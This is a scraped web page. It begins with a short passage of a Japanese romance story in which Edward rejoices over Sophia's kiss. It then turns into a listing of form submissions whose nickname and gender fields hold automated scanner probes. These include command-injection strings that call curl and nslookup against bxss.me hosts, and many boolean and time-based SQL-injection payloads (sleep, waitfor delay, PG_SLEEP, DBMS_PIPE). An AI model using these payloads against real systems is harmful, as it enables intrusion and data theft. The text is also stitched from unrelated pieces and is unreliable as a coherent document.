あぁ、あれは照れくさくて唇の端にしたんじゃなく、慣れていないせいで狙いを外したのか︙︙︙ということは、そもそも唇にキスしてくれるつもりだったということか？
だめだ、思考回路がショートしてしまったかのように、上手くものを考えられない。
｢ソフ｣
｢ま、また今度！｣
早口で告げ、ソフィアは家へ駆けこんだ。
後には、ただ立ち尽くすエドワードだけが残された。のろのろと手を動かし、さきほどソフィアの唇が触れた部分に触れる。
ここに、自分から口づけてくれた。
大分遅れて、ぐわっと感情の波が押し寄せる。
なんということだ、なんという幸福だ！ 今にも空へ舞い上がってしまいそう！僕の恋人は天使か何かじゃないだろうか。可愛いが過ぎる。
浮ついた足取りで、エドワードは自分の家への帰路についた。衝動のままにスマートフォンを取り出し、電話をかける。
１、２、３コール。
『もしもし、なんかあったか？』
｢レニー聞いて！！！ソフィからキスしてくれた！｣
電話は一瞬で切れた。
なんだ、聞いてくれないのかぁ、とエドワードは少し残念に思ったが、この思い出を自分の内にだけ秘めておくのも良いだろう、と気を取り直して歩を進めた。
なんと満たされた一日だったことだろう。
だが、これは二人がともに歩む旅路の始まりで、これから長く行く道だ。今日のような幸せを積み重ねていって、あの子と自分の旅路を素敵なものにしていこう。
エドワードは上機嫌で、次の『お出かけ』の計画を頭の中で立て始めた。
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区分：小学生
感想：555
ニックネーム：pHqghUme
性別：|(nslookup -q=cname hityghryldaqzf3faa.bxss.me||curl hityghryldaqzf3faa.bxss.me)
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：`(nslookup -q=cname hitoghyzlljlk43ac6.bxss.me||curl hitoghyzlljlk43ac6.bxss.me)`
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：;(nslookup -q=cname hitvdpdbsibeq1c8fc.bxss.me||curl hitvdpdbsibeq1c8fc.bxss.me)|(nslookup -q=cname hitvdpdbsibeq1c8fc.bxss.me||curl hitvdpdbsibeq1c8fc.bxss.me)&(nslookup -q=cname hitvdpdbsibeq1c8fc.bxss.me||curl hitvdpdbsibeq1c8fc.bxss.me)
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
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性別：男性
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性別：男性
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性別：男性
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性別：男性
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感想：555
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性別：男性
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性別：男性
区分：小学生
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性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
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性別：男性
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感想：555
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感想：555
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感想：555
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感想：555
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性別：男性
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感想：555
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感想：555
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性別：男性
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感想：555
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感想：555
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感想：555
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感想：555
ニックネーム：pHqghUme
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感想：555
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感想：555
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性別：男性
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感想：555
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感想：555
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感想：555
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感想：555
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性別：男性
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感想：555
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性別：男性
区分：1'"
感想：555
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性別：男性
区分：1����%2527%2522
感想：555
ニックネーム：pHqghUme
性別：男性
区分：@@7lQ8A
感想：555
ニックネーム：pHqghUme
性別：男性
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：男性
区分：小学生
感想：555
ニックネーム：-1 OR 2+986-986-1=0+0+0+1 --
性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
ニックネーム：-1 OR 3*2<(0+5+986-986) --
性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
ニックネーム：-1 OR 2+287-287-1=0+0+0+1
性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
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性別：男性
区分：小学生
感想：555
ニックネーム：-1' OR 2+813-813-1=0+0+0+1 or 'LP3f8MXt'='
性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
ニックネーム：-1' OR 3*2<(0+5+813-813) or 'LP3f8MXt'='
性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
ニックネーム：-1" OR 2+56-56-1=0+0+0+1 --
性別：男性
区分：小学生
感想：555
ニックネーム：-1" OR 3+56-56-1=0+0+0+1 --
性別：男性
区分：小学生
感想：555
ニックネーム：-1" OR 3*2<(0+5+56-56) --
性別：男性
区分：小学生
感想：555
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性別：男性
区分：小学生
感想：555
ニックネーム：if(now()=sysdate(),sleep(15),0)
性別：男性
区分：小学生
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ニックネーム：0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
性別：男性
区分：小学生
感想：555
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区分：小学生
感想：555
ニックネーム：(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
性別：男性
区分：小学生
感想：555
ニックネーム：1 waitfor delay '0:0:15' --
性別：男性
区分：小学生
感想：555
ニックネーム：rM0uP7fI'; waitfor delay '0:0:15' --
性別：男性
区分：小学生
感想：555
ニックネーム：43kxehfc' OR 541=(SELECT 541 FROM PG_SLEEP(15))--
性別：男性
区分：小学生
感想：555
ニックネーム：gjp0XXmc') OR 779=(SELECT 779 FROM PG_SLEEP(15))--
性別：男性
区分：小学生
感想：555
ニックネーム：1TBlwhox')) OR 306=(SELECT 306 FROM PG_SLEEP(15))--
性別：男性
区分：小学生
感想：555
ニックネーム：pHqghUme'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
性別：男性
区分：小学生
感想：555
ニックネーム：1'"
性別：男性
区分：小学生
感想：555
ニックネーム：1����%2527%2522
性別：男性
区分：小学生
感想：555
ニックネーム：@@h8EUZ
性別：男性
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：男性
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：男性
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1 OR 2+646-646-1=0+0+0+1 --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1 OR 3+646-646-1=0+0+0+1 --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1 OR 3*2<(0+5+646-646) --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1 OR 3*2>(0+5+646-646) --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1 OR 2+281-281-1=0+0+0+1
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1 OR 3+281-281-1=0+0+0+1
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1 OR 3*2<(0+5+281-281)
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1 OR 3*2>(0+5+281-281)
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1' OR 2+551-551-1=0+0+0+1 --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1' OR 3+551-551-1=0+0+0+1 --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1' OR 3*2<(0+5+551-551) --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1' OR 3*2>(0+5+551-551) --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1' OR 2+205-205-1=0+0+0+1 or 'k4MRqmqY'='
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1' OR 3+205-205-1=0+0+0+1 or 'k4MRqmqY'='
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1' OR 3*2<(0+5+205-205) or 'k4MRqmqY'='
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1' OR 3*2>(0+5+205-205) or 'k4MRqmqY'='
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1" OR 2+528-528-1=0+0+0+1 --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1" OR 3+528-528-1=0+0+0+1 --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1" OR 3*2<(0+5+528-528) --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：-1" OR 3*2>(0+5+528-528) --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：if(now()=sysdate(),sleep(15),0)
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：1 waitfor delay '0:0:15' --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：iGz19Xgc'; waitfor delay '0:0:15' --
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：Wb4TtiYc' OR 684=(SELECT 684 FROM PG_SLEEP(15))--
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：vo3QiaEX') OR 703=(SELECT 703 FROM PG_SLEEP(15))--
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：u74AJYmg')) OR 392=(SELECT 392 FROM PG_SLEEP(15))--
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：男性'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：1'"
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：1����%2527%2522
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：@@Z9ClX
区分：小学生
感想：555
ニックネーム：pHqghUme
性別：男性
区分：小学生
感想：555
ニックネーム：TzwSVsOw
性別：男性
区分：小学生
感想：555
ニックネーム：TzwSVsOw
性別：その他
区分：社会人
感想：1
ニックネーム：TzwSVsOw
性別：その他
区分：社会人
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区分：小学生
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ニックネーム：TzwSVsOw
性別：-1" OR 3*2<(0+5+191-191) --
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性別：-1" OR 3*2>(0+5+191-191) --
区分：小学生
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性別：if(now()=sysdate(),sleep(15),0)
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性別：0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
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性別：0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
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性別：(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
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性別：1 waitfor delay '0:0:15' --
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性別：umq0vvHW'; waitfor delay '0:0:15' --
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性別：nqdd9Uoo' OR 268=(SELECT 268 FROM PG_SLEEP(15))--
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性別：IrX4WHqt') OR 950=(SELECT 950 FROM PG_SLEEP(15))--
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性別：4KQ4rj2S')) OR 499=(SELECT 499 FROM PG_SLEEP(15))--
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性別：男性'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
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性別：1'"
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性別：1����%2527%2522
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性別：@@gBApe
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性別：男性
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